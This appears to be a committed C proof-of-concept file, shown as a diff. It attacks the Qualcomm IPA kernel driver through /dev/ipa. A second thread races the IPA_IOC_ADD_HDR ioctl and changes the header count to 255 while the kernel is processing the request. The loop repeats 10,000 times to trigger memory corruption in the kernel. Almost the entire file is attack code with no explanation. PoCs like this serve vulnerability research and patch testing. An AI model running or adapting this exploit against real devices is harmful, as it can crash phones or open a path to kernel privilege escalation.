|
| 1 | +#include <stdlib.h> |
| 2 | +#include <stdio.h> |
| 3 | +#include <stdbool.h> |
| 4 | +#include <strings.h> |
| 5 | +#include <unistd.h> |
| 6 | +#include <sys/ioctl.h> |
| 7 | +#include <sys/types.h> |
| 8 | +#include <sys/stat.h> |
| 9 | +#include <sys/mman.h> |
| 10 | +#include <fcntl.h> |
| 11 | +#include <net/if.h> |
| 12 | +#include <sys/types.h> |
| 13 | +#include <sys/socket.h> |
| 14 | +#include <pthread.h> |
| 15 | + |
| 16 | +static const char *dev = "/dev/ipa"; |
| 17 | + |
| 18 | +#define IPA_RESOURCE_NAME_MAX 32 |
| 19 | +#define IPA_HDR_MAX_SIZE 64 |
| 20 | +#define IPA_IOCTL_ADD_HDR 0 |
| 21 | +#define IPA_IOCTL_DEL_HDR 1 |
| 22 | + |
| 23 | +enum ipa_hdr_l2_type { |
| 24 | + IPA_HDR_L2_NONE, |
| 25 | + IPA_HDR_L2_ETHERNET_II, |
| 26 | + IPA_HDR_L2_802_3, |
| 27 | + IPA_HDR_L2_MAX, |
| 28 | +}; |
| 29 | + |
| 30 | +struct ipa_hdr_del { |
| 31 | + uint32_t hdl; |
| 32 | + int status; |
| 33 | +}; |
| 34 | + |
| 35 | +struct ipa_ioc_del_hdr { |
| 36 | + uint8_t commit; |
| 37 | + uint8_t num_hdls; |
| 38 | + struct ipa_hdr_del hdl[0]; |
| 39 | +}; |
| 40 | + |
| 41 | + |
| 42 | +struct ipa_hdr_add { |
| 43 | + char name[IPA_RESOURCE_NAME_MAX]; |
| 44 | + uint8_t hdr[IPA_HDR_MAX_SIZE]; |
| 45 | + uint8_t hdr_len; |
| 46 | + enum ipa_hdr_l2_type type; |
| 47 | + uint8_t is_partial; |
| 48 | + uint32_t hdr_hdl; |
| 49 | + int status; |
| 50 | + uint8_t is_eth2_ofst_valid; |
| 51 | + uint16_t eth2_ofst; |
| 52 | +}; |
| 53 | + |
| 54 | +struct ipa_ioc_add_hdr { |
| 55 | + uint8_t commit; |
| 56 | + uint8_t num_hdrs; |
| 57 | + struct ipa_hdr_add hdr[0]; |
| 58 | +}; |
| 59 | + |
| 60 | +#define IPA_IOC_MAGIC 0xCF |
| 61 | + |
| 62 | + |
| 63 | +#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, IPA_IOCTL_ADD_HDR,\ |
| 64 | + struct ipa_ioc_add_hdr *) |
| 65 | + |
| 66 | + |
| 67 | +#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \ |
| 68 | + IPA_IOCTL_DEL_HDR,\ |
| 69 | + struct ipa_ioc_del_hdr *) |
| 70 | + |
| 71 | + |
| 72 | + |
| 73 | +volatile int trigger = 0; |
| 74 | +volatile int trigger1 = 0; |
| 75 | +static void *size_change(void *hdr) |
| 76 | +{ |
| 77 | + struct ipa_ioc_add_hdr *add_hdr = hdr; |
| 78 | + static unsigned int stupid_hack = 2000; |
| 79 | + |
| 80 | + trigger1 = 1; |
| 81 | + while (trigger == 0) { }; |
| 82 | + usleep(stupid_hack); |
| 83 | + add_hdr->num_hdrs = 255; |
| 84 | + stupid_hack++; |
| 85 | + if (stupid_hack > 3000) |
| 86 | + stupid_hack = 2000; |
| 87 | + |
| 88 | + trigger1 = 0; |
| 89 | + return NULL; |
| 90 | +} |
| 91 | + |
| 92 | + |
| 93 | +int main(void) |
| 94 | +{ |
| 95 | + |
| 96 | + int fd, counter; |
| 97 | + pthread_t race_car; |
| 98 | + struct ipa_ioc_add_hdr add_hdr = { 0 }; |
| 99 | + |
| 100 | + fd = open(dev, O_RDWR); |
| 101 | + if (fd < 0) { |
| 102 | + printf("Failed to open %s with %s\n", dev, strerror(errno)); |
| 103 | + return EXIT_FAILURE; |
| 104 | + } |
| 105 | + |
| 106 | + for (counter = 0; counter < 10000; counter++) { |
| 107 | + pthread_create(&race_car, NULL, size_change, &add_hdr); |
| 108 | + while(trigger1 != 1) {} |
| 109 | + trigger = 1; |
| 110 | + asm volatile("dmb ishst" : : : "memory"); |
| 111 | + ioctl(fd, IPA_IOC_ADD_HDR, &add_hdr); |
| 112 | + pthread_join(race_car, NULL); |
| 113 | + trigger = 0; |
| 114 | + add_hdr.num_hdrs = 0; |
| 115 | + } |
| 116 | + |
| 117 | + return EXIT_FAILURE; |
| 118 | +} |
0 commit comments